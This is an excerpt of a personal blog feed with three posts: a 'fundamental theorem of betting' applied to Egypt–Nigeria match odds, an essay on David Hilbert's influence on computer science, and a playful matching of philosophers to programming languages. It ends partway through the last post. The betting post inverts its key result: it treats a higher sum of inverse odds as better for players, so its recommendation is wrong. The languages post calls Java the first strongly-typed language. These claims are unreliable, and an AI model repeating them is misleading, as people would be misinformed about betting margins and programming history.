tag:blogger.com,1999:blog-88237557886738646032024-03-04T20:03:06.730-08:00Developer On LineThe Last Post Will Prove That P!=NPElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comBlogger26125tag:blogger.com,1999:blog-8823755788673864603.post-72388196058603064642010-01-12T02:18:00.000-08:002010-01-12T10:44:49.011-08:00The Fundamental Theorem Of Betting<div style="text-align: justify;">I used two popular websites to get betting odds for the today's match between <b>Egypt </b>and <b>Nigeria. </b>Here are some odds from two example sites:</div><div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><i>Site 1: </i><b><i>Egypt </i></b><i>(2.90) - </i><b><i>X </i></b><i>(3.20) - </i><b><i>Nigeria </i></b><i>(2.35)</i></div><div style="text-align: justify;"><i><span class="Apple-style-span" style="font-style: normal; "><i>Site 2: </i><b><i>Egypt </i></b><i>(2.65) - </i><b><i>X </i></b><i>(3.10)<span class="Apple-style-span" style="font-style: normal; "><i>- </i><b><i>Nigeria </i></b><i>(2.65)</i></span></i></span></i></div><div style="text-align: justify;"><i><br /></i></div><div><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9YC54p1FQHnF8d2Uf-8rt4E-ytXy6OSZ4JphPh6ipD3F6tiTQ7T_4F4FC2SLXwtuXd6hPvv69b7q1ByNbF0qi50xj_y0jEVb3US9_fcm2JkOaGND45wdswn_yJjXAk2B4ep1lsrN6uW1W/s320/soccerball.jpg" style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 240px; height: 153px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5425920803276083218" /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Which site of the two should be preferred over the other? Generally, how to compare the <b>attractiveness </b>of different betting odds? In what follows, I am presenting what I call as the <i>"fu<span class="Apple-style-span" style="font-style: normal; "><i>ndamental theorem of betting</i>".</span></i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Consider just the single game "<i>Egypt vs Nigeria</i>" which has 3 possible turnouts: "<i>Egypt wins", "nobody wins" </i>and <i>"Nigeria wins"</i>. Let us also consider that we have a budget of <b>Δ </b>dollars and that we split this sum to all three turnouts, betting <b>Δ1, Δ2 and Δ3 </b>respectively. Finally, for every event, we expect to win some money, say <b>W1, W2 and W3</b>. In general, we are just interested in winning more money than we spent ( Δ dollars), so for every event that might take place (e.g. <i>"Egypt wins"</i> ) we might want <b>W1 > Δ </b>or <b>W2 > Δ </b>or<b> W3 > Δ</b><b>. </b>But we might want to ask: <b><span class="Apple-style-span" style="font-weight: normal;"><i>Can</i></span><i> all of these </i><span class="Apple-style-span" style="font-weight: normal;"><i>inequalities hold</i></span></b>? The obvious answer is <b>no</b>. Otherwise, the booker would go bankrupt. Next, we have to ask: <i>What values <span class="Apple-style-span" style="font-style: normal; "><i>do the </i><b><i>W's </i></b><i>satisfy</i>? It turns out that this is a linear function, with coefficients determined by the betting odds of the booker!</span></i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Consider that we have a budget <b>Δ </b>and we want to split this in <b>all k possible turnouts. </b>Thus, we will have to pay <b>Δ1, Δ2,Δ3,..., and Δk </b>respectively. For every turnout <b>i </b>the booker provides a betting odd <b>Mi. </b>This means that we will win <b>Wi = Mi * Δi, </b>in case of this turnout. Finally, every profit has a specific ratio of the <b>whole budget Δ. </b>This is the real profit since we are interested in making more money than we spent. For every turnout the profit will be denoted as: <b>Ai = Wi / Δ. </b>One can easily see that:</div><div style="text-align: justify;"><br /></div><div style="text-align: center;"><b>(A1/M1)+(A2/M2)+...+(Ak/Mk) = 1</b></div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;">For clearer inspection:</div><br /><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyZ45RVssAhR1BMEvfGrbIRCkE17keioUut0fetWTayTcE068b1ye1mhBDrnAHY94BJsA2er0ywD-YNiwoCRHpMwId7svOIrKs9o-JQ3hjlxHUtbrQOnEz2vT2jCHy8gjNVytgDGVYup_t/s320/image.jpg" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 240px; height: 175px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5425874234591477522" /><div style="text-align: justify;">This is what one could call the <b>"Fundamental Theorem Of Betting"</b>. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Remember that the <b>μ's </b>are the booker's betting odds and the <b>α's </b>are the ratios of profit over the overall budget. For example, if we invested $<b>200 </b>in total and <b>Α1</b><b> = 2.0 </b>then if turnout #1 happened we would win 200x 2.0 = $400 and so on. <b> </b>When an <b>α </b>is greater than 1 this means that we won more than we invested in total and so we are interested in establishing <b>at least one α </b>greater than 1.0. This means that it would be useful to consider one single quantity:</div><div style="text-align: justify;"><br /></div><div style="text-align: center;"><b>M = (1/M1)+(1/M2)+(1/M3)+...+(1/Mk)</b></div><div style="text-align: justify;"><b><br /></b></div><div style="text-align: justify;">The following cases now exist:</div><div style="text-align: justify;"><b>1) M > 1.0</b></div><div style="text-align: justify;">If this is the case then the booker is going bankrupt. Players can construct a set of <b>α's </b>such that <b>all of them </b>are greater or equal to 1.0. This means that<b> </b>every player either wins <b>more than </b>he spent in total <b>or he </b>gets his money back (zero loss)</div><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM-fX8HVzHe04IlLWUr66q-45kzHwF0zlaHQbE7pABh9TxtDFTTrT6wpeFCB0DM9BeDSrsmrM25m3LebfsJ2bYvH3idm4E06nN3ibVCh2As_SwmbjkppmPokTSXpoq8kO3XWi4cftwXJ4a/s320/odds.jpg" style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 181px; height: 320px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5425925031129132850" /><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b>2) M = 1.0</b></div><div style="text-align: justify;">In this border case, the players can set all <b>α's </b>to 1.0 and never suffer a loss. This is not very meaningful and players might try to disturb the ratios by increasing and decreasing some of the ratios. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b>3) M < 1.0</b></div><div style="text-align: justify;">This is expected to be much more frequent in real world betting odds. Players will have to decide how to distribute their bets.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">What's more important, the quantity <b>M </b>can be used as a metric of how attractive the betting odds are. The greater the quantity M is, the better the odds are for the players. Going back to the example in the beginning we have:</div><div style="text-align: justify;"><i><span class="Apple-style-span" style="font-style: normal;"><br /></span></i></div><div style="text-align: center;"><i>Site 1: M = (1/2.90)+(1/3.20)+(1/2.35) = 1.0828</i></div><div style="text-align: center;"><i>Site 2: M = (1/2.65)+(1/3.10)+(1/2.65) = 1.0773</i></div><div style="text-align: justify;"><i><br /></i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">One can see with a single arithmetic comparison that <i>Site 1 </i>gives slightly better margins for profits (<i>1.0828 is bigger</i>) and it should be preferred to <i>Site 2</i>. Even within the same book house, players should prefer games with higher M factors than others. The first step to a complete "Theory of Betting" has been made! </div></div>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-35832757435900429712009-12-17T11:32:00.000-08:002009-12-19T14:08:27.902-08:00The Most Influential Person On Computer Science<div style="text-align: justify;">Who was the most influential person on computer science (or computing if you prefer)? A web search is not particularly helpful. Most of the times, the pages I got were confusing CS with programming. However, to quote <b>Edsger Dijkstra</b>, "<i>Computer Science is no more about computers, than astronomy is about telescopes</i>". Some names may come quickly to </div><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZn_wSRiDZOA1_axIiFi0gGUn-uiu9OBUcFrJmzu2rWkcHVWAeQdTTFJTwXXEq1iYqpca0MwSnW-ZyIiwAeTXN7tuEZL-nmg2kxVVMMBE-fq2UXYBzbQSweOpOMsShhYFx1s8YR_bKw978/s320/hilbert.jpg" style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 132px; height: 160px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5416868161111661842" /><div style="text-align: justify;">mind: Alan Turing, Church, Kleene etc, were all pivotal to the development of the computing science. But a deeper search can reveal the person who had the most critical impact: <b>David Hilbert</b>.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Hilbert was a German mathematician who worked on an incredible range of subjects: number theory, logic, geometry and over to special relativity theory. Yet, it was not his direct contribution that matters, but the influence he had to others on working on the fundamentals of computation. And it all started by his zealous stance towards a deep philosophical debate of the "<i>ignoramus et <span class="Apple-style-span" style="font-style: normal; "><i>ignorabimus</i>". </span></i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><i><span class="Apple-style-span" style="font-style: normal; ">And now the story begins.</span></i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Back in 1872 <b>Emil du-Bois Reymond </b>was a well-respected physiologist with considerable work on electro-physiology, studying the electric "properties" of human and animal tissues. At this year, he publishes a paper in which he claims his philosophical belief of "<i>ignoramus et ignorabimus" (=we don't know and we won't know)</i>. This was a slightly more pessimistic version of the well known Socratic view "<i>I know one thing; that I kno<span class="Apple-style-span" style="font-style: normal; "><i>w nothing</i>" but it was gaining acceptance through the philosophical circles at the time. The main point was that there are some stuff that humans do not know and they will never know (e.g. the origin of life or the universe) One might agree that it seems like a yet-another harmless philosophical idea. Some people were supporting it, others would be skeptical, but all in all, life would go on. But science was meant to take a dramatic turn because a man would take this debate to the extreme.</span></i></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">At that time David Hilbert was 10 years old. In subsequent years, through his work, he would confront deep philosophical problems, even within mathematics. However, the "<i>ignorabimus</i>" movement had really hit his nerve. <img src="http://upload.wikimedia.org/wikipedia/commons/d/d4/Sorbonne_17thc.jpg" style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 233px; height: 160px;" border="0" alt="" />In 1900, in the International Mathematics Conference in Paris, he addresses <b>a call to arms</b> to mathematicians by claiming: "<i>in mathematics there is no ignrorabimus!</i>". He uses mathematics to exterminate once and for all the pessimistic view, and claims that there should be a finite process of inference rules, that when applied, they would infer any correct statement. He then asks from mathematicians to help him in this direction (the 2nd problem in the problem list he announces at this speech was related)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Almost 28 years later, in 1928, Hilbert poses yet another challenge: The <i>Entscheidung<span class="Apple-style-span" style="font-style: normal; "><i>sproblem </i>asks specifically for an algorithm that will be able to decide if a specific statement (e.g. 1+1=2) is true or not. During the 30's great things just start happening. In 1931, <b>Kurt G<span class="Apple-style-span" style="font-weight: normal; "><b>odel</b> breaks the first problem with his ground-breaking theorem of <i>incompleteness. </i>In short, most interesting systems, can either infer contradictory statements or they cannot infer some correct statements. Later, in 1936 and 1937 <b>Church</b> and <b>Turing</b> independently solve the last puzzle by proving that there are statements that cannot be proved or disproved. Hilbert's dream was shuttered but a new scientific field was born out of the proofs of these very problems! It is important to note here that, 5 years before his proof, Alonzo Church was in the famous<b> Gottingen University </b>during the years 1929-1931, visiting...David Hilbert.</span></b></span></i></div><div style="text-align: justify;"><br /></div><div><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZcvCuIjGTAbGJVAsmeb_FcU58suwbePPoGdD0xgH9AkeRNYTzwm50ZMWUQMRhiaUPhaF3p2ZQ7e95V04ybBoALaKg2aKFK-ychFy0FhruyVTTRfBjy_WGemREviVlu4pizF-iCROFhtZA/s320/turing.jpg" style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 145px; height: 160px; " border="0" alt="" id="BLOGGER_PHOTO_ID_5416869608067460610" /></div><div style="text-align: justify;">But wait, there is more! It was not only theoretical computer science that was catalyzed by the influence of David Hilbert. The creation of the first general-purpose electronic computers would be pioneered by his <b>assistant</b>. Even in <b>1942</b>, one year before the <b>ENIAC</b> project, Hilbert's former assistant in the University of Gottingen, would start an ambitious project of creating a general-purpose computer in the Institute of Advanced Studies at Princeton University, that ended in 1952. His work all these years marked the beginning of this era and his architecture is preserved more or less even in today's computers. His name was ...<b>John Von Neumann</b>!</div><div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Other than Hilbert, who else can claim of having a bigger impact on computer science?</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div></div>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-40891313816172154182009-04-15T15:17:00.000-07:002010-02-12T09:23:42.757-08:00If Philosophers Were ProgrammersAlthough not obvious, philosophy actually has a strong relation with programming, at least for me. If you think about it, software code reflects much of how the developer perceives the problem and its solution. Before starting to program, developers spend some time thinking over the problem, identifying important properties and their underlying conne<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMZv-VSUk-tgBeXh27WEMcdvrs3HWcnGDzOTciTeckP5h4RMo3s8ol50a4sa_a8UtGlTIC1a6wnZuFeOBzcoYjAftA7MZULsJIF8ZUhFsnKO_szBt6hL9ZEJxO7RhCdkKHly0mWfAOeLvM/s1600-h/school_athens.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 242px; height: 179px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMZv-VSUk-tgBeXh27WEMcdvrs3HWcnGDzOTciTeckP5h4RMo3s8ol50a4sa_a8UtGlTIC1a6wnZuFeOBzcoYjAftA7MZULsJIF8ZUhFsnKO_szBt6hL9ZEJxO7RhCdkKHly0mWfAOeLvM/s320/school_athens.jpg" alt="" id="BLOGGER_PHOTO_ID_5325096044918539954" border="0" /></a>ctions, a process that reveals their philosophy as the way they perceive real-word situations. Likewise, philosophers are constantly trying to identify the most important properties of the issues they reflect on, like life, conscience or God.<br /><br />Under this perspective one might be able to make a consistent mapping of the ideas behind programming languages and the ideas that philosophers have come up over the years. It is perfectly reasonable to consider the programming languages as the <span style="font-weight: bold;">different philosophies</span> of a virtual world, in which entities <span style="font-weight: bold;">do exist</span> and <span style="font-weight: bold;">interact</span> with each other. To this respect, even the fundamental philosophical questions receive an interesting transformation: For example "<span style="font-style: italic;"><span style="font-weight: bold;">What is self-consc</span></span><span style="font-style: italic;"><span style="font-weight: bold;">ience?</span>" </span>can be rephrased as "<span style="font-weight: bold;"><span style="font-style: italic;">What is <a href="http://en.wikipedia.org/wiki/Reflection_%28computer_science%29">reflec</a></span></span><span style="font-weight: bold;"><span style="font-style: italic;"><a href="http://en.wikipedia.org/wiki/Reflection_%28computer_science%29">tion</a>?</span></span><span style="font-style: italic;"><span style="font-style: italic;">".</span></span><br /><span style="font-style: italic;"><span style="font-style: italic;"><br /></span></span>To the fun part, one might ask: "<span style="font-weight: bold;">What if philosophers were programmers? What programming la</span><span style="font-weight: bold;">nguage they would use</span>?". Well, here are my answers!<br /><br /><br /><span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Socrates">Socrates</a> : The Hardcore Assembly Programmer</span><br />Socrates was one of the founders of philosophy but this is not where the connection ends. Socrate<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihtyD8iUIsV3ggiR9zzMYDtk9b6q1R1GK71lqbz52ND1NXtiXG_K_exH4O7I8jU7kZkqel_rUNcf-ojlvq4ef-M-d6XEihLbzwrcWGiW2p2gdeCQ70uiL7KjBJudl5iiWrociaKyNp9XuV/s1600-h/socrates.gif"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 131px; height: 194px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihtyD8iUIsV3ggiR9zzMYDtk9b6q1R1GK71lqbz52ND1NXtiXG_K_exH4O7I8jU7kZkqel_rUNcf-ojlvq4ef-M-d6XEihLbzwrcWGiW2p2gdeCQ70uiL7KjBJudl5iiWrociaKyNp9XuV/s320/socrates.gif" alt="" id="BLOGGER_PHOTO_ID_5325098544541306290" border="0" /></a>s had devised a clever methodology to win every debate. He kept asking questions until a contradiction was reached. So, when someone would claim "<span style="font-style: italic;">morality is important</span>", Socrates would ask "<span style="font-style: italic;">How do you define morality?</span>".<br /><br /><br />In a similar manner, everything in <span style="font-weight: bold;">Assembly </span>begs for a question. There is nothing pre-assumed (at least in pure Assembly, not the distros filled with pre-processed libraries and other junk) and everything has to be as succinct as possible to have a meaning. If you were to work with the programmer Socrates and shared something like "<span style="font-style: italic;">var x = null;</span>", your partner would start by asking "<span style="font-style: italic;">What is var?" </span>!<br /><br /><br /><br /><span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Aristotle">Aristotle</a> : The Influential C Pr</span><span style="font-weight: bold;">ogrammer</span><br />Aristotle had a huge impact on Western philosophy, founding many scientific areas, fro<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVlVyRvsKznTSW-AYSHz2O__glTEUnhgDnPgrRxxnVANDFXmystwOLCLSlpMGgfHxNNiAa_8Cdbw7_REvbe_Fe8zhp5GSobYEn6oSaQkfGCv4LJCYxO3bEmYZj7lXRpjBllR1aElj_abwm/s1600-h/aristotle.gif"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 122px; height: 166px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVlVyRvsKznTSW-AYSHz2O__glTEUnhgDnPgrRxxnVANDFXmystwOLCLSlpMGgfHxNNiAa_8Cdbw7_REvbe_Fe8zhp5GSobYEn6oSaQkfGCv4LJCYxO3bEmYZj7lXRpjBllR1aElj_abwm/s320/aristotle.gif" alt="" id="BLOGGER_PHOTO_ID_5325096802230770066" border="0" /></a>m physics to biology. He was the first to closely examine real entities as the <span style="font-style: italic;">real essence of everythin</span><span style="font-style: italic;">g</span>, in contrast to Plato's abstractions. His philosophy is driven by the <span style="font-style: italic;">golden mean</span> as the key to reaching <span style="font-style: italic;">morality</span> or understanding life (<span style="font-style: italic;">m</span><span style="font-style: italic;">atter </span>and <span style="font-style: italic;">form). </span><br /><br />The C programming language was equally influential to the design of all other "<span style="font-style: italic;">programming philosophies</span>", most obviously in the syntactical level. In addition, by the time of its writing in the early 70's, C was supposed to be the <span style="font-style: italic;">golden mean</span> between the so-called <span style="font-style: italic;">high-l</span><span style="font-style: italic;">evel </span>languages and the <span style="font-style: italic;">Assembly </span>language, <a href="http://blogs.sun.com/weixue/entry/c_language_knowledge_1_history">combining the capability to write machine-independent code</a> combined with the power of low-level access.<br /><br /><br /><span style="font-weight: bold;"><br /><a href="http://en.wikipedia.org/wiki/Plato">Plato</a> : The Idealistic C++ Evangelist</span><br />Plato is a<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1i0RCDhLqPzD0wJDM3VOtW_B6AWMMt9geg4xBgxRS_aUWJe-bq7WPBmf-PquHZlUV4WwL5UsFftws1WR7yjMUBOYikM9nOt2kO4QVqgLyWG7HD8eFkDGwiU89sldhKcK4gfqLIHyz-OEC/s1600-h/Plato_1_lg.gif"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 146px; height: 181px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1i0RCDhLqPzD0wJDM3VOtW_B6AWMMt9geg4xBgxRS_aUWJe-bq7WPBmf-PquHZlUV4WwL5UsFftws1WR7yjMUBOYikM9nOt2kO4QVqgLyWG7HD8eFkDGwiU89sldhKcK4gfqLIHyz-OEC/s320/Plato_1_lg.gif" alt="" id="BLOGGER_PHOTO_ID_5325097176609278066" border="0" /></a> huge figure in philosophy, student of Socrates and teacher of Aristotle. That said, I owe you an explanation about the obvious anomaly: How come that C++ is coming after C? Let me explain. Plato is famous f<a href="http://plato.stanford.edu/entries/plato-ethics-politics/">or his <span style="font-style: italic;">Form</span><span style="font-style: italic;">s </span>or <span style="font-style: italic;">Ideas</span></a>, that refer to the archetypical <span style="font-style: italic;">versions</span> of the things around us. So, the cup in your desk has is a <span style="font-style: italic;">shadow </span>of a similar oval-shaped archetype in the world of Ideas. In programming words, it is an <span style="font-style: italic;">instanc</span><span style="font-style: italic;">e </span>of the Cup <span style="font-style: italic;">class</span>.<br /><br />Similarly, C++ , as an extension of C, is the first language that tries to capture this idea of forms by giving the developers the capability to <span style="font-style: italic;">abstract </span>the problem before doing anything else. This is a major step by itself, since even if no actual code solving the problem is provided, the classification and the problem modelling are evident and valuable to others. You might wonder, why Plato would not program in <span style="font-style: italic;">Java</span>. Well he could, but there is another parameter to the story: Plato is not so confident how <span style="font-style: italic;">symbols </span>can represent his Forms, and clearly prefers the <span style="font-style: italic;">spoken dialogue</span> (as mentioned in <a href="http://oll.libertyfund.org/?option=com_staticxt&staticfile=show.php%3Ftitle=111&chapter=39482&layout=html&Itemid=27"><span style="font-style: italic;">Phaedrus</span></a>). In a similar manner, C++, not entirely confident in its direction, remains a superset of C, being <span style="font-weight: bold;">fully </span>backwards-compatible with the more <span style="font-style: italic;">non-ideal </span>syntax of C.<br /><br /><br /><a href="http://en.wikipedia.org/wiki/Stoics"><br /></a><span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Stoics">Stoics</a> : The Happy Perl Community<br /></span>Stoics and their philosophy (Stoicism) had silently, a far-reaching impact not only to Western philosophy but to t<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB6Hd3ja_9O06tZweSw8TP5eBIX92lKD_fqkIEQIVg-c9cdfOx-Qll8T8S52StiJ03iInrS3l4keZe9h5MSx5ns_32k30fgYea7u3kY8DmT4KWstTd6Ehe2Mswxcv5Ja7gB9wnFUffpypM/s1600-h/43.stoa_small.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 196px; height: 153px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB6Hd3ja_9O06tZweSw8TP5eBIX92lKD_fqkIEQIVg-c9cdfOx-Qll8T8S52StiJ03iInrS3l4keZe9h5MSx5ns_32k30fgYea7u3kY8DmT4KWstTd6Ehe2Mswxcv5Ja7gB9wnFUffpypM/s320/43.stoa_small.jpg" alt="" id="BLOGGER_PHOTO_ID_5325097699117790818" border="0" /></a>he philosophy and the global culture as a whole. Interestingly enough, there is no single man behind it, but it was actually a <span style="font-style: italic;">collaborative </span>intellectual achievement. <a href="http://www.iep.utm.edu/s/stoicism.htm">Stoicism denies anything </a><span style="font-style: italic;"><a href="http://www.iep.utm.edu/s/stoicism.htm">immaterial</a> </span>and tries to explain the world through <span style="font-style: italic;">propositional logic</span>. So, Stoics reject everything <span style="font-style: italic;">Ideal</span> and concenrate in morality, in which they call us to get free from <span style="font-style: italic;">anything we can't control</span>, but rather appreciate the <span style="font-style: italic;">freedom </span>to self-introspect and reach true wisdom. Stoicism rejects political systems and other formalities, and promotes Socrates' <span style="font-style: italic;">citizen</span> <span style="font-style: italic;">of the world</span> for everyone. People are meant to be brothers, away from distinctions, aiming to contribute happily to a society of friendship and love (<span style="font-style: italic;">jus commune gentium</span>). You should already notice the influences to most widespread religions, like Christianism and Buddism.<br /><br />Most interestingly, Perl was created in the 80's, a decade in which finally <span style="font-style: italic;">logic/functional programming </span>had found its place in the programming languages world. However, the P<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin011eSt0-kaxxko7ACWFnHC7QOm0dsIYcxnzkOeqGkJg2egjccOnK3PBRvcWfJbCL2kS0ehQl1ahBUNGwk23h4tj7bnBZ6JO9M0XuFu_fIgkUm2w8E9rtrPw_gi63LtcJguANt0AS_UGm/s1600-h/planetperl.png"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 120px; height: 167px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin011eSt0-kaxxko7ACWFnHC7QOm0dsIYcxnzkOeqGkJg2egjccOnK3PBRvcWfJbCL2kS0ehQl1ahBUNGwk23h4tj7bnBZ6JO9M0XuFu_fIgkUm2w8E9rtrPw_gi63LtcJguANt0AS_UGm/s320/planetperl.png" alt="" id="BLOGGER_PHOTO_ID_5325098244311456482" border="0" /></a>erl community (and language) shares much more striking similarites with the Stoics and their philosophy. Perl as a language is to the best possible extent, free of form. Actually the most common phrase in the Perl world is "<a href="http://en.wikipedia.org/wiki/There_is_more_than_one_way_to_do_it"><span style="font-style: italic;">there is more than one way to do it</span></a>" or TIMTOADY for short. The philosophy behind Perl rejects syntactical constraints, giving the freedom to its programmers to code in their style, but at the same time encouraging sharing and contribution to the community. Perl's power lies to a great extent to the existence of <a href="http://www.cpan.org/">CPAN</a>, the archive of modules and software happily shared by Perl programmers all around the globe. The language's influence to the programming world has been silent, but much more far-reaching than what is immediately observable. One could mention its strong influence to scripting, dynamic typing and functional programming, but it could be summarized to a joke which is familiar to Perl fans: <span style="font-style: italic;">The next market's crash will be triggered by a bug in someone's Perl s</span><span style="font-style: italic;">cript</span>.<br /><br /><br /><br /><span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Descartes">Rene Descartes</a> : The True Java Guru</span><br />Descartes was the first philosopher of the Western culture to stand up against the Classical Ancient Gr<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLL0DvtKJ6qoqVVsG10sNs2THwq6gLI_V4daFRgGO2aW9WhDBfLw44Oh8E76xqlAjAYRa_vn4IyEUx_2V5SnULrHj4T2mQHIAnCneNuXHV9aMuDXHbNj-DfHl3weSC0Vl_sR-_Ki23o29x/s1600-h/Descartes.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 135px; height: 143px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLL0DvtKJ6qoqVVsG10sNs2THwq6gLI_V4daFRgGO2aW9WhDBfLw44Oh8E76xqlAjAYRa_vn4IyEUx_2V5SnULrHj4T2mQHIAnCneNuXHV9aMuDXHbNj-DfHl3weSC0Vl_sR-_Ki23o29x/s320/Descartes.jpg" alt="" id="BLOGGER_PHOTO_ID_5325098947043271362" border="0" /></a>eek philosophy. His core philosophy as mentioned in his famous <span style="font-style: italic;">Article 7 </span>of the <a href="http://www.gutenberg.org/etext/4391"><span style="font-style: italic;">"Les principles de la philosophie</span>"</a> is based on the concept of <span style="font-style: italic;">cogito (=intellectual ego</span>). Descartes believes that <span style="font-style: italic;">doubt </span>is a proof of <span style="font-style: italic;">existence</span>, and <span style="font-style: italic;">cogito </span>is the cause of doubt, arriving to the famous <span style="font-style: italic;">"cogito ergo sum</span>" (=<span style="font-style: italic;">I think therefore I exist</span>). The <span style="font-style: italic;">cogito</span> is not just another process we do, but actually <span style="font-style: italic;">all </span>we do. So, what we want, imagine or feel is directly accessible through it. Descartes nearly '<span style="font-style: italic;">proves</span>' the existence of God, by the fact that we are able to <span style="font-style: italic;">think </span>about the <span style="font-style: italic;">necessity of his existence</span>. In fact any <span style="font-style: italic;">Ideal </span>or <span style="font-style: italic;">Form </span>can be directly accessible by our <span style="font-style: italic;">cogito</span>. Descartes also marks another landmark in the history of philosophy: Beginning from his work, philosophy is trying to avoid confusing abstractions and to establish a succinct, almost geometrical form. Descar<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9SHCgAwLUizn-GFFv_DIxLn-rnii_afbgz5UIN7cnAWTr7ro91gpjBxGlmoyVcUHrFk2n7yhPlDzENDT52r68vFaUE8pwNorblGlLhwdeNgvhKg0bFMt6p3bQ02YW3ektFF8LEfQT3syP/s1600-h/java_logo.gif"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 112px; height: 179px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9SHCgAwLUizn-GFFv_DIxLn-rnii_afbgz5UIN7cnAWTr7ro91gpjBxGlmoyVcUHrFk2n7yhPlDzENDT52r68vFaUE8pwNorblGlLhwdeNgvhKg0bFMt6p3bQ02YW3ektFF8LEfQT3syP/s320/java_logo.gif" alt="" id="BLOGGER_PHOTO_ID_5325100941693305986" border="0" /></a>tes presents his ideas nearly in the form of theorems. <span style="font-weight: bold;"><br /><br /></span>Descartes would be the perfect Java guru. Java was the first <span style="font-style: italic;">strongly-typed </span>language, in which everything must have a <span style="font-style: italic;">type (</span>or share a <span style="font-style: italic;">Form</span>) before it is being used, matching perfectly the Descartes' efforts to be always exact for what he is talking about. Descarte's <span style="font-style: italic;">cogito</span> is in fact a revisit of <span style="font-style: italic;">Plato's Forms</span>, with a slight variation in which ideals exist because we think about them and not in another universe. To that respect, his philosophy is purely <span style="font-style: italic;">object-oriented</span>, as the solutions in which we arrive, are direct products of our intellects.<br /><br /><br /><span style="font-weight: bold;"><br /><br /><a href="http://en.wikipedia.org/wiki/Immanuel_Kant">Immanuel Kant</a>: The First Python Programmer<br /></span>Kant found th<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 